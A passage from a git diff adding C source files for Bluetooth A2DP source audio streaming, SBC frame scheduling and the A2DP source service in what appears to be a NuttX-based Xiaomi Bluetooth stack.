nor the names of its contributors may be + * used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS + * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE + * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED + * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + ****************************************************************************/ +#include <stdint.h> +#include <stdlib.h> + +#include <nuttx/circbuf.h> + +#include "sal_a2dp_source_interface.h" +#include "sal_interface.h" + +#include "a2dp_codec.h" +#include "a2dp_control.h" +#include "a2dp_source.h" +#include "a2dp_source_audio.h" + +#include "audio_transport.h" +#include "bt_time.h" +#include "utils.h" +#define LOG_TAG "a2dp_src_stream" +#include "sal_zblue.h" +#include "utils/log.h" + +#include "service_loop.h" + +#define MAX_FRAME_NUM_PER_TICK 14 +#define STREAM_DELAY_MS 10 +#define STREAM_FLUSH_SIZE (1024) +#define UNDERFLOW_TICKS_TO_SUSPEND (100) +#define UNDERFLOW_TICKS_TO_FLUSH (2) +typedef enum { + STATE_OFF, /* idle state */ + STATE_FLUSHING, /* flush remaining data */ + STATE_RUNNING, /* streaming */ + STATE_SUSPENDING, /* suspend after all data is send */ + STATE_WAIT4_SUSPENDED /* wait for stream suspended */ +} stream_state_t; + +typedef enum { + UNDERFLOW_STATE_NONE = 0, + UNDERFLOW_STATE_PAUSED, + UNDERFLOW_STATE_RESUMING, +} underflow_state_t; + +typedef struct { + uint32_t ticks; + underflow_state_t state; +} a2dp_source_underflow_t; + +typedef struct { + bool offloading; + uint16_t mtu; + stream_state_t stream_state; + uint8_t codec_info[10]; + uint32_t interval_ms; + service_timer_t* media_alarm; + uint32_t sequence_number; + uint32_t max_tx_length; + struct circbuf_s stream_pool; + uint8_t read_congest; + a2dp_source_underflow_t underflow; + uint64_t last_ts; + const a2dp_source_stream_interface_t* stream_interface; +} a2dp_source_stream_t; + +static a2dp_source_stream_t a2dp_src_stream = { 0 }; +extern audio_transport_t* a2dp_transport; + +static void a2dp_source_read_congest(uint8_t ch_id); + +static const a2dp_source_stream_interface_t* get_stream_interface(void) +{ + a2dp_codec_config_t* config; + + config = a2dp_codec_get_config(); + if (config->codec_type == BTS_A2DP_TYPE_SBC) + return get_a2dp_source_sbc_stream_interface(); +#ifdef CONFIG_BLUETOOTH_A2DP_AAC_CODEC + else if (config->codec_type == BTS_A2DP_TYPE_MPEG2_4_AAC) + return get_a2dp_source_aac_stream_interface(); +#endif + + abort(); + return NULL; +} + +static void a2dp_audio_data_alloc(uint8_t ch_id, uint8_t** buffer, size_t* len) +{ + a2dp_source_stream_t* stream = &a2dp_src_stream; + int space, next_to_read; + uint8_t* alloc_buffer; + + if (stream->stream_state == STATE_FLUSHING) { + *len = STREAM_FLUSH_SIZE; + *buffer = (uint8_t*)malloc(STREAM_FLUSH_SIZE); + return; + } + + // check pool buffer space enough to read one frame + space = circbuf_space(&stream->stream_pool); + if (space == 0) { + BT_LOGE("%s, no enough space to read", __func__); + *buffer = NULL; + return; + } + + next_to_read = space > stream->max_tx_length ? stream->max_tx_length : space; + + alloc_buffer = (void*)malloc(next_to_read); + if (!alloc_buffer) { + *buffer = NULL; + audio_transport_read_stop(a2dp_transport, ch_id); + return; + } + + *buffer = alloc_buffer; + *len = next_to_read; +} + +static void a2dp_audio_data_received(uint8_t ch_id, uint8_t* buffer, ssize_t len) +{ + a2dp_source_stream_t* stream = &a2dp_src_stream; + int space; + + if (buffer == NULL) + return; + + if (len <= 0) { + BT_LOGD("%s, status:%" PRIuPTR, __func__, len); + if (len < 0) + audio_transport_read_stop(a2dp_transport, ch_id); + + goto out; + } + + space = circbuf_space(&stream->stream_pool); + if (len > space) { + BT_LOGE("%s, unexpected len:%" PRIuPTR, __func__, len); + goto out; + } + + circbuf_write(&stream->stream_pool, buffer, len); + + space = circbuf_space(&stream->stream_pool); + if (space == 0) { + a2dp_source_read_congest(ch_id); + } + + if (stream->underflow.state == UNDERFLOW_STATE_PAUSED) { + /** + * Patch for audio channel control: + * An extra A2DP suspened is sent due to data underflow. + * A compensatory A2DP start is now created when data recovers. + */ + a2dp_source_stream_start(); + stream->underflow.state = UNDERFLOW_STATE_RESUMING; + } + +out: + free(buffer); +} + +static void a2dp_audio_data_flush(uint8_t ch_id, uint8_t* buffer, ssize_t len) +{ + free(buffer); +} + +static void a2dp_source_start_read(void) +{ + a2dp_source_stream_t* stream = &a2dp_src_stream; + + if (stream->stream_state != STATE_OFF && stream->read_congest != 1) + return; + + if (circbuf_space(&stream->stream_pool) == 0) + return; + + stream->read_congest = 0; + audio_transport_read_start(a2dp_transport, + AUDIO_TRANS_CH_ID_AV_SOURCE_AUDIO, + a2dp_audio_data_alloc, + a2dp_audio_data_received); +} + +static void a2dp_source_read_congest(uint8_t ch_id) +{ + a2dp_src_stream.read_congest = 1; + audio_transport_read_stop(a2dp_transport, ch_id); +} + +static void a2dp_source_send_callback(uint8_t* buf, uint16_t nbytes, uint8_t nb_frames, uint64_t timestamp) +{ + if (buf == NULL) { + BT_LOGE("%s, buffer is null", __func__); + return; + } + + bt_sal_a2dp_source_send_data(PRIMARY_ADAPTER, a2dp_source_active_peer()->bd_addr, + buf, nbytes, nb_frames, timestamp, a2dp_src_stream.sequence_number++); +} + +static int a2dp_source_read_callback(uint8_t* buf, uint16_t frame_len) +{ + a2dp_source_stream_t* stream = &a2dp_src_stream; + uint16_t remaining_size; + + remaining_size = circbuf_used(&stream->stream_pool); + if (remaining_size < frame_len) { + return 0; + } + + circbuf_read(&stream->stream_pool, buf, frame_len); + + return frame_len; +} + +static void a2dp_source_audio_handle_timer(service_timer_t* timer, void* arg) +{ + a2dp_source_stream_t* stream = &a2dp_src_stream; + + if ((stream->stream_state != STATE_RUNNING) && (stream->stream_state != STATE_SUSPENDING)) + return; + +#ifndef CONFIG_ARCH_SIM + uint64_t now_us = bt_get_os_timestamp_us(); + if (stream->last_ts && ((now_us - stream->last_ts) > (2ULL * (uint64_t)stream->interval_ms * 1000ULL))) { + BT_LOGD("===a2dp cpu busy time:%" PRIu64 "===", now_us - stream->last_ts); + } + + stream->last_ts = now_us; +#endif + + /* Handle stream underflow */ + if (circbuf_used(&stream->stream_pool) < stream->stream_interface->get_min_frame_size()) { + if (!stream->underflow.ticks) + BT_LOGD("a2dp src send frame, underflowed"); + + stream->underflow.ticks++; + } else if (stream->underflow.ticks) { + BT_LOGD("a2dp src send frame resume, underflowed %" PRIu32 "ticks", stream->underflow.ticks); + stream->underflow.ticks = 0; + stream->underflow.state = UNDERFLOW_STATE_NONE; + } + + /* Send/flush buffered data and read new data */ + switch (stream->stream_state) { + case STATE_RUNNING: + if ((stream->underflow.state == UNDERFLOW_STATE_NONE) && (stream->underflow.ticks > UNDERFLOW_TICKS_TO_SUSPEND)) { + /** + * Patch for audio channel control: + * Audio stream may end without a control command received. + * An A2DP suspend is created by Bluetooth service to send to the audio SNK. + * An underflow state is marked so we can re-start the stream in the future. + */ + a2dp_source_stream_stop(); + stream->underflow.state = UNDERFLOW_STATE_PAUSED; + return; + } + stream->stream_interface->send_frames(STREAM_DATA_RESERVED, bt_get_os_timestamp_us()); + a2dp_source_start_read(); + break; + case STATE_SUSPENDING: + if (stream->underflow.ticks > UNDERFLOW_TICKS_TO_FLUSH) { + audio_transport_read_stop(a2dp_transport, AUDIO_TRANS_CH_ID_AV_SOURCE_AUDIO); + circbuf_reset(&stream->stream_pool); + a2dp_source_stream_stop(); + stream->stream_state = STATE_WAIT4_SUSPENDED; + return; + } + stream->stream_interface->send_frames(STREAM_DATA_RESERVED, bt_get_os_timestamp_us()); + a2dp_source_start_read(); + break; + default: + return; + } +} + +static void a2dp_source_start_flush(void) +{ + if (a2dp_src_stream.stream_state == STATE_OFF) { + a2dp_src_stream.stream_state = STATE_FLUSHING; + audio_transport_read_start(a2dp_transport, + AUDIO_TRANS_CH_ID_AV_SOURCE_AUDIO, + a2dp_audio_data_alloc, + a2dp_audio_data_flush); + } +} + +static void a2dp_source_stop_flush(void) +{ + a2dp_src_stream.stream_state = STATE_OFF; + audio_transport_read_stop(a2dp_transport, AUDIO_TRANS_CH_ID_AV_SOURCE_AUDIO); +} + +static void a2dp_source_start_delay(service_timer_t* timer, void* arg) +{ + a2dp_source_stream_t* stream = &a2dp_src_stream; + + service_loop_cancel_timer(stream->media_alarm); + stream->media_alarm = NULL; + stream->last_ts = 0; + stream->media_alarm = service_loop_timer(stream->interval_ms, + stream->interval_ms, + a2dp_source_audio_handle_timer, + NULL); + if (stream->stream_interface) + stream->stream_interface->reset(); +} + +static void a2dp_source_start_audio_req(void) +{ + BT_LOGD("%s", __func__); + + a2dp_source_stream_t* stream = &a2dp_src_stream; + a2dp_peer_t* peer = a2dp_source_active_peer(); + + if (!stream->stream_interface) { + BT_LOGE("stream interface is NULL"); + return; + } + + if (stream->stream_state == STATE_FLUSHING) { + /* Issue: when a flushing is ongoing, there might be + * incompleted audio frame remains in the audio channel. + * This would lead to decoding failure at audio sink. + */ + BT_LOGE("the previous flush is ongoing"); + a2dp_source_stop_flush(); + } + + stream->mtu = peer->mtu > 0 ? peer->mtu : MAX_2MBPS_AVDTP_MTU; + stream->interval_ms = stream->stream_interface->get_interval_ms(); + stream->max_tx_length = stream->mtu; + + if (stream->underflow.state == UNDERFLOW_STATE_NONE) { + stream->read_congest = 0; + circbuf_reset(&stream->stream_pool); + a2dp_source_start_read(); + } + stream->underflow.ticks = 0; + stream->underflow.state = UNDERFLOW_STATE_NONE; + + if (stream->media_alarm == NULL) { /* delay start, wait stream pool filling */ + stream->media_alarm = service_loop_timer(STREAM_DELAY_MS, + 0, a2dp_source_start_delay, NULL); + } /* else, keep the previous timer running */ + + stream->stream_state = STATE_RUNNING; +} + +static void a2dp_source_stop_audio_req(bool cleanup) +{ + a2dp_source_stream_t* stream = &a2dp_src_stream; + + BT_LOGD("%s, remaining:%" PRIuPTR, __func__, circbuf_used(&stream->stream_pool)); + + if (cleanup) { /* Audio stream is closed, no need to maintain the underflow status */ + memset(&stream->underflow, 0, sizeof(a2dp_source_underflow_t)); + } + + stream->sequence_number = 0; + if (stream->stream_interface && stream->stream_interface->reset) { + stream->stream_interface->reset(); + } + + stream->stream_state = STATE_OFF; + if (stream->media_alarm) { + service_loop_cancel_timer(stream->media_alarm); + stream->media_alarm = NULL; + } +} + +static void a2dp_source_suspend_audio_req(void) +{ + a2dp_source_stream_t* stream = &a2dp_src_stream; + + BT_LOGD("%s, remaining:%" PRIuPTR, __func__, circbuf_used(&stream->stream_pool)); + + if (stream->stream_state != STATE_RUNNING) + return; + + stream->stream_state = STATE_SUSPENDING; +} + +static void a2dp_source_close_audio(void) +{ + a2dp_source_stop_audio_req(true); + audio_transport_read_stop(a2dp_transport, AUDIO_TRANS_CH_ID_AV_SOURCE_AUDIO); +} + +bool a2dp_source_is_streaming(void) +{ + return a2dp_src_stream.media_alarm ? true : false; +} + +bool a2dp_source_on_connection_changed(bool connected) +{ + transport_conn_state_t state; + BT_LOGD("%s, %d", __func__, connected); + + state = a2dp_control_get_state(AUDIO_TRANS_CH_ID_AV_SOURCE_CTRL); + if (state != IPC_CONNTECTED) { + return false; + } + + a2dp_control_update_audio_config(AUDIO_TRANS_CH_ID_AV_SOURCE_CTRL, connected ? 1 : 0); + if (a2dp_src_stream.offloading) { + return true; + } + + if (!connected) { + a2dp_source_stop_audio_req(true); + } + + return true; +} + +void a2dp_source_on_started(bool started) +{ + BT_LOGD("%s: %d", __func__, started); + + a2dp_control_event(AUDIO_TRANS_CH_ID_AV_SOURCE_CTRL, started ? A2DP_CTRL_EVT_STARTED : A2DP_CTRL_EVT_START_FAIL); + if (a2dp_src_stream.offloading) + return; + + if (!started) + return; + + if ((a2dp_src_stream.stream_state == STATE_OFF) + || (a2dp_src_stream.stream_state == STATE_FLUSHING) + || (a2dp_src_stream.stream_state == STATE_SUSPENDING) + || (a2dp_src_stream.stream_state == STATE_WAIT4_SUSPENDED)) { + a2dp_source_start_audio_req(); + } +} + +void a2dp_source_on_stopped(void) +{ + BT_LOGD("%s", __func__); + + if (a2dp_src_stream.offloading) { + return; + } + + a2dp_source_stop_audio_req(false); + a2dp_control_event(CONFIG_BLUETOOTH_AUDIO_TRANS_ID_SOURCE_CTRL, A2DP_CTRL_EVT_STOPPED); +} + +bool a2dp_source_prepare_start(void) +{ + BT_LOGD("%s", __func__); + + if (a2dp_src_stream.offloading) { + return true; + } + + if (a2dp_src_stream.stream_state == STATE_SUSPENDING) { + /* + * An A2DP_CTRL_CMD_START is received during STATE_SUSPENDING, withdraw the + * STATE_SUSPENDING and no need to send the redundant start request. + */ + BT_LOGD("Recover from STATE_SUSPENDING"); + a2dp_src_stream.stream_state = STATE_RUNNING; + return false; + } + + return true; +} + +void a2dp_source_prepare_suspend(void) +{ + BT_LOGD("%s", __func__); + + if (a2dp_src_stream.offloading) { + BT_LOGD("No stream data to handle, stop immediately"); + a2dp_source_stream_stop(); + return; + } + a2dp_source_suspend_audio_req(); +} + +void a2dp_source_setup_codec(bt_address_t* bd_addr) +{ + a2dp_source_stream_t* stream = &a2dp_src_stream; + a2dp_codec_config_t* config; + a2dp_peer_t* peer; + + if (a2dp_src_stream.offloading) { + return; + } + + circbuf_reset(&stream->stream_pool); + stream->stream_interface = get_stream_interface(); + if (!stream->stream_interface) { + BT_LOGE("get_stream_interface fail"); + return; + } + + config = a2dp_codec_get_config(); + peer = a2dp_source_find_peer(bd_addr); + if (peer == NULL) { + BT_LOGE("%s, can't find peer:%s", __func__, bt_addr_str(bd_addr)); + return; + } + + stream->stream_interface->init(&config->codec_param.sbc, peer->mtu, + a2dp_source_send_callback, + a2dp_source_read_callback); + a2dp_source_start_flush(); +} + +void a2dp_source_audio_init(bool offloading) +{ + if (!offloading) { + a2dp_src_stream.stream_state = STATE_OFF; + circbuf_init(&a2dp_src_stream.stream_pool, NULL, 2048); + } + + a2dp_src_stream.offloading = offloading; + a2dp_control_init(AUDIO_TRANS_CH_ID_AV_SOURCE_CTRL, offloading ? AUDIO_TRANS_CH_ID_AV_INVALID : AUDIO_TRANS_CH_ID_AV_SOURCE_AUDIO); +} + +void a2dp_source_audio_cleanup(void) +{ + if (!a2dp_src_stream.offloading) { + a2dp_source_close_audio(); + circbuf_uninit(&a2dp_src_stream.stream_pool); + } + + memset(&a2dp_src_stream, 0, sizeof(a2dp_src_stream)); + a2dp_control_ch_close(AUDIO_TRANS_CH_ID_AV_SOURCE_CTRL, AUDIO_TRANS_CH_ID_AV_SOURCE_AUDIO); +} diff --git a/service/profiles/a2dp/source/a2dp_source_sbc_stream.c b/service/profiles/a2dp/source/a2dp_source_sbc_stream.c new file mode 100644 index 0000000000000000000000000000000000000000..481eaa25dbd29989ded677085427a6df7e869d8a --- /dev/null +++ b/service/profiles/a2dp/source/a2dp_source_sbc_stream.c @@ -0,0 +1,285 @@ +/**************************************************************************** + * + * Copyright (C) 2023 Xiaomi InC. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * 3. Neither the name NuttX nor the names of its contributors may be + * used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS + * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE + * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED + * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + ****************************************************************************/ + +#include "a2dp_codec.h" +#include "a2dp_source_audio.h" +#include <assert.h> +#include <stdio.h> +#include <stdlib.h> + +#include "service_loop.h" + +#include "utils.h" +#define LOG_TAG "src_sbc" +#include "utils/log.h" + +#define A2DP_SBC_BIT_PER_SAMPLE 16 +#define A2DP_SBC_ENCODER_INTERVAL_MS 20 +#define MAX_PCM_FRAME_NUM_PER_TICK 14 +#define A2DP_SBC_MAX_PCM_ITER_NUM_PER_TICK 3 + +typedef struct { + uint64_t last_frame_us; + float counter; + uint32_t bytes_per_tick; +} a2dp_sbc_feeding_state_t; + +typedef struct { + uint32_t total_tx_frames; + uint64_t session_start_us; +} a2dp_sbc_session_state_t; + +typedef struct { + sbc_param_t* param; + frame_send_callback send_callback; + frame_read_callback read_callback; + uint16_t mtu; + uint16_t frames_len; + uint16_t max_tx_length; + uint32_t media_timestamp; + a2dp_sbc_feeding_state_t feeding_state; + a2dp_sbc_session_state_t state; +} a2dp_stream_sbc_t; + +a2dp_stream_sbc_t sbc_stream; + +int a2dp_source_sbc_update_config(uint32_t mtu, sbc_param_t* param, uint8_t* codec_info) +{ + a2dp_codec_parse_sbc_param(param, codec_info); + + return 0; +} + +static uint8_t calculate_max_frames_per_packet(void) +{ + uint32_t frame_len = sbc_stream.frames_len; + + assert(frame_len); + if (!sbc_stream.mtu) + sbc_stream.mtu = MAX_2MBPS_AVDTP_MTU; + + return (sbc_stream.mtu - 1) / frame_len; +} + +static void a2dp_sbc_get_num_frame_iteration(uint8_t* num_of_iterations, uint8_t* num_of_frames, + uint64_t now_timestamp_us) +{ + a2dp_stream_sbc_t* stream = &sbc_stream; + sbc_param_t* param = stream->param; + uint32_t us_this_tick, frames_per_tick; + uint32_t pcm_bytes_per_frame; + uint32_t projected_nof = 0; + uint8_t noi, nof; + uint32_t delta; + float ticks; + + pcm_bytes_per_frame = param->s16NumOfSubBands * param->s16NumOfBlocks * param->s16NumOfChannels * A2DP_SBC_BIT_PER_SAMPLE / 8; + us_this_tick = A2DP_SBC_ENCODER_INTERVAL_MS * 1000; + if (stream->feeding_state.last_frame_us != 0) + us_this_tick = now_timestamp_us - stream->feeding_state.last_frame_us; + stream->feeding_state.last_frame_us = now_timestamp_us; + ticks = (float)us_this_tick / (A2DP_SBC_ENCODER_INTERVAL_MS * 1000); + stream->feeding_state.counter += (float)stream->feeding_state.bytes_per_tick * ticks; + projected_nof = stream->feeding_state.counter / pcm_bytes_per_frame; + frames_per_tick = stream->feeding_state.bytes_per_tick / pcm_bytes_per_frame; + if (projected_nof > MAX_PCM_FRAME_NUM_PER_TICK) { + delta = projected_nof - MAX_PCM_FRAME_NUM_PER_TICK; + projected_nof = MAX_PCM_FRAME_NUM_PER_TICK; + if ((delta / frames_per_tick) > A2DP_SBC_MAX_PCM_ITER_NUM_PER_TICK) + stream->feeding_state.counter = projected_nof * pcm_bytes_per_frame; + } + + noi = 1; + nof = calculate_max_frames_per_packet(); + if (nof < projected_nof) { + noi = projected_nof / frames_per_tick; + if (noi > 1) { + nof = frames_per_tick; + if (noi > A2DP_SBC_MAX_PCM_ITER_NUM_PER_TICK) { + noi = A2DP_SBC_MAX_PCM_ITER_NUM_PER_TICK; + stream->feeding_state.counter = noi * nof * pcm_bytes_per_frame; + } + } + } else + nof = projected_nof; + + stream->feeding_state.counter -= noi * nof * pcm_bytes_per_frame; + *num_of_frames = nof; + *num_of_iterations = noi; +} + +static int a2dp_sbc_frame_header_check(uint8_t* frame) +{ + if (frame[0] != A2DP_SBC_SYNCWORD) { + BT_LOGE("%s, sbc syncword error: %02x", __func__, frame[0]); + return -1; + } + return 0; +} + +static void a2dp_sbc_send_frames(uint16_t header_reserve, uint8_t frames) +{ + sbc_param_t* param = sbc_stream.param; + uint16_t max_frames_len; + uint16_t bytes_read = 0; + uint8_t read_frames = 0; + uint8_t* frame_buffer; + uint8_t* buffer; + /* + * Timestamp of the media packet header represent the TS of the + * first SBC frame, i.e the timestamp before including this frame. + */ + uint16_t blocm_x_subband = param->s16NumOfSubBands * param->s16NumOfBlocks; + + max_frames_len = frames * sbc_stream.frames_len; + buffer = malloc(max_frames_len + header_reserve + 1); + if (buffer == NULL) { + BT_LOGW("%s, sbc buffer allocation failure: %d", __func__, frames); + return; + } + + frame_buffer = buffer; + frame_buffer += header_reserve; // reserved for packet + frame_buffer += 1; // actual number of frames + do { + int ret = sbc_stream.read_callback(frame_buffer, sbc_stream.frames_len); + if (ret > 0) { + a2dp_sbc_frame_header_check(frame_buffer); + bytes_read += ret; + frame_buffer += ret; + frames--; + read_frames++; + } else { + BT_LOGW("%s, underflow :%d", __func__, frames); + sbc_stream.feeding_state.counter += param->s16NumOfSubBands * param->s16NumOfBlocks * param->s16NumOfChannels * A2DP_SBC_BIT_PER_SAMPLE / 8 * frames; + break; + } + } while (frames); + + if (bytes_read > 0) { + bytes_read += 1; + buffer[header_reserve] = read_frames; + sbc_stream.send_callback(buffer, bytes_read, read_frames, sbc_stream.media_timestamp); + sbc_stream.media_timestamp += read_frames * blocm_x_subband; + sbc_stream.state.total_tx_frames += read_frames; + } + + // free frame buffer + free(buffer); +} + +static void a2dp_source_sbc_send_frames(uint16_t header_reserve, uint64_t timestamp) +{ + uint8_t num_of_frames; + uint8_t num_of_iterations; + + a2dp_sbc_get_num_frame_iteration(&num_of_iterations, &num_of_frames, + timestamp); + if (num_of_frames == 0) + return; + + for (int i = 0; i < num_of_iterations; i++) { + a2dp_sbc_send_frames(header_reserve, num_of_frames); + } +} + +static void a2dp_source_sbc_stream_init(void* param, uint32_t mtu, + frame_send_callback send_cb, + frame_read_callback read_cb) +{ + sbc_stream.param = (sbc_param_t*)param; + sbc_stream.mtu = mtu; + sbc_stream.send_callback = send_cb; + sbc_stream.read_callback = read_cb; + sbc_stream.frames_len = a2dp_sbc_frame_length(sbc_stream.param); + sbc_stream.media_timestamp = 0; + sbc_stream.state.total_tx_frames = 0; + sbc_stream.state.session_start_us = 0; + sbc_stream.feeding_state.last_frame_us = 0; +} + +static void a2dp_source_sbc_stream_reset(void) +{ + sbc_param_t* param = sbc_stream.param; + uint16_t sample_rate; + + sample_rate = a2dp_sbc_sample_frequency(param->s16SamplingFreq); + sbc_stream.media_timestamp = 0; + sbc_stream.state.total_tx_frames = 0; + sbc_stream.state.session_start_us = bt_get_os_timestamp_us(); + sbc_stream.feeding_state.last_frame_us = 0; + sbc_stream.feeding_state.counter = 0; + sbc_stream.feeding_state.bytes_per_tick = (sample_rate * A2DP_SBC_BIT_PER_SAMPLE / 8 * param->s16NumOfChannels * A2DP_SBC_ENCODER_INTERVAL_MS) / 1000; +} + +static int a2dp_source_sbc_interval_ms(void) +{ + return A2DP_SBC_ENCODER_INTERVAL_MS; +} + +static int a2dp_source_sbc_get_min_frame_size(void) +{ + return sbc_stream.frames_len; +} + +static const a2dp_source_stream_interface_t a2dp_source_stream_sbc = { + a2dp_source_sbc_stream_init, + a2dp_source_sbc_stream_reset, + NULL, + a2dp_source_sbc_send_frames, + a2dp_source_sbc_interval_ms, + a2dp_source_sbc_get_min_frame_size, +}; + +const a2dp_source_stream_interface_t* get_a2dp_source_sbc_stream_interface(void) +{ + return &a2dp_source_stream_sbc; +} + +bool a2dp_source_sbc_get_offload_config(a2dp_codec_config_t* codec, a2dp_offload_config_t* offload) +{ + sbc_param_t* param = &codec->codec_param.sbc; + + offload->codec_type = BTS_A2DP_TYPE_SBC; + offload->max_latency = a2dp_sbc_max_latency(param); + offload->sample_rate = a2dp_sbc_sample_frequency(param->s16SamplingFreq); + offload->bits_per_sample = a2dp_sbc_bits_per_sample(param); + offload->frame_sample = a2dp_sbc_frame_sample(param); + offload->ch_mode = a2dp_get_sbc_ch_mode(param); + offload->encoded_audio_bitrate = a2dp_sbc_encoded_audio_bitrate(param); + offload->mtu = sbc_stream.mtu; + offload->acl_hdl = codec->acl_hdl; + offload->l2c_rcid = codec->l2c_rcid; + + return true; +} diff --git a/service/profiles/a2dp/source/a2dp_source_service.c b/service/profiles/a2dp/source/a2dp_source_service.c new file mode 100644 index 0000000000000000000000000000000000000000..47eaeeabb097cb0452fb8e1d0bade1744b1d84fe --- /dev/null +++ b/service/profiles/a2dp/source/a2dp_source_service.c @@ -0,0 +1,635 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "a2dp_source" + +#include <fcntl.h> +#include <stdint.h> +#include <stdlib.h> +#include <unistd.h> +#ifdef CONFIG_KVDB +#include <kvdb.h> +#endif + +#include "a2dp_audio.h" +#include "a2dp_device.h" +#include "a2dp_source_service.h" +#include "adapter_internel.h" +#include "bt_a2dp_source.h" +#include "bt_addr.h" +#include "bt_list.h" +#include "callbacks_list.h" +#include "sal_a2dp_source_interface.h" +#include "sal_interface.h" +#include "service_loop.h" +#include "service_manager.h" +#include "utils/log.h" + +#ifndef CONFIG_BLUETOOTH_A2DP_MAX_CONNECTIONS +#define A2DP_MAX_CONNECTION (1) +#else +#define A2DP_MAX_CONNECTION CONFIG_BLUETOOTH_A2DP_MAX_CONNECTIONS +#endif + +#define A2DP_SOURCE_CALLBACK_FOREACH(_list, _cback, ...) \ + BT_CALLBACK_FOREACH(_list, a2dp_source_callbacks_t, _cback, ##__VA_ARGS__) + +typedef struct { + struct list_node list; + bool enabled; + bool offloading; + callbacks_list_t* callbacks; + a2dp_peer_t* active_peer; +} a2dp_source_global_t; + +static a2dp_source_global_t g_a2dp_source = { 0 }; + +void do_in_a2dp_service(a2dp_event_t* a2dp_event); + +static void source_shutdown(void* data); +static void source_startup(void* data); +static bool a2dp_source_unregister_callbacks(void** remote, void* cookie); + +static void set_active_peer(bt_address_t* bd_addr, uint16_t acl_hdl) +{ + a2dp_device_t* device = find_a2dp_device_by_addr(&g_a2dp_source.list, bd_addr); + + if (!device) { + BT_LOGE("No A2DP device found with the provided address:%s", bt_addr_str(bd_addr)); + return; + } + + g_a2dp_source.active_peer = &device->peer; + device->peer.acl_hdl = acl_hdl; +} + +static a2dp_peer_t* get_active_peer(void) +{ + return g_a2dp_source.active_peer; +} + +static a2dp_device_t* find_or_create_device(bt_address_t* bd_addr) +{ + a2dp_device_t* device = find_a2dp_device_by_addr(&g_a2dp_source.list, bd_addr); + if (device) + return device; + + device = a2dp_device_new(&g_a2dp_source, SEP_SNK, bd_addr); + if (!device) { + BT_LOGE("A2DP new source device alloc failed"); + return NULL; + } + list_add_tail(&g_a2dp_source.list, &device->node); + + return device; +} + +static a2dp_state_machine_t* get_state_machine(bt_address_t* bd_addr) +{ + a2dp_device_t* device = find_or_create_device(bd_addr); + + if (!device) + return NULL; + + return device->a2dp_sm; +} + +static void save_a2dp_codec_config(a2dp_peer_t* peer, a2dp_codec_config_t* config) +{ + if (peer == NULL || config == NULL) + return; + + memcpy(&peer->codec_config, config, sizeof(*config)); + a2dp_codec_set_config(SEP_SNK, &peer->codec_config); +} + +static void a2dp_service_prepare_handle(a2dp_state_machine_t* sm, + a2dp_event_t* event) +{ + switch (event->event) { + case CONNECTED_EVT: { + set_active_peer(&event->event_data.bd_addr, bt_sal_get_acl_connection_handle(PRIMARY_ADAPTER, &event->event_data.bd_addr, BT_TRANSPORT_BREDR)); + break; + } + + case STREAM_STARTED_EVT: { + a2dp_offload_config_t config = { 0 }; + a2dp_codec_config_t* codec_config; + a2dp_device_t* device; + uint8_t param[CONFIG_VSC_MAX_LEN]; + size_t size; + bool ret; + + if (!g_a2dp_source.offloading) { + break; + } + + device = find_a2dp_device_by_addr(&g_a2dp_source.list, &event->event_data.bd_addr); + if (!device) { + BT_LOGE("A2DP find_device_by_addr:%s failed", bt_addr_str(&event->event_data.bd_addr)); + break; + } + + codec_config = &device->peer.codec_config; + codec_config->l2c_rcid = event->event_data.l2c_rcid; + codec_config->acl_hdl = device->peer.acl_hdl; + save_a2dp_codec_config(&device->peer, codec_config); + + ret = a2dp_codec_get_offload_config(&config); + if (!ret) { + BT_LOGE("A2DP codec_get_offload_config failed"); + break; + } + + ret = a2dp_offload_start_builder(&config, param, 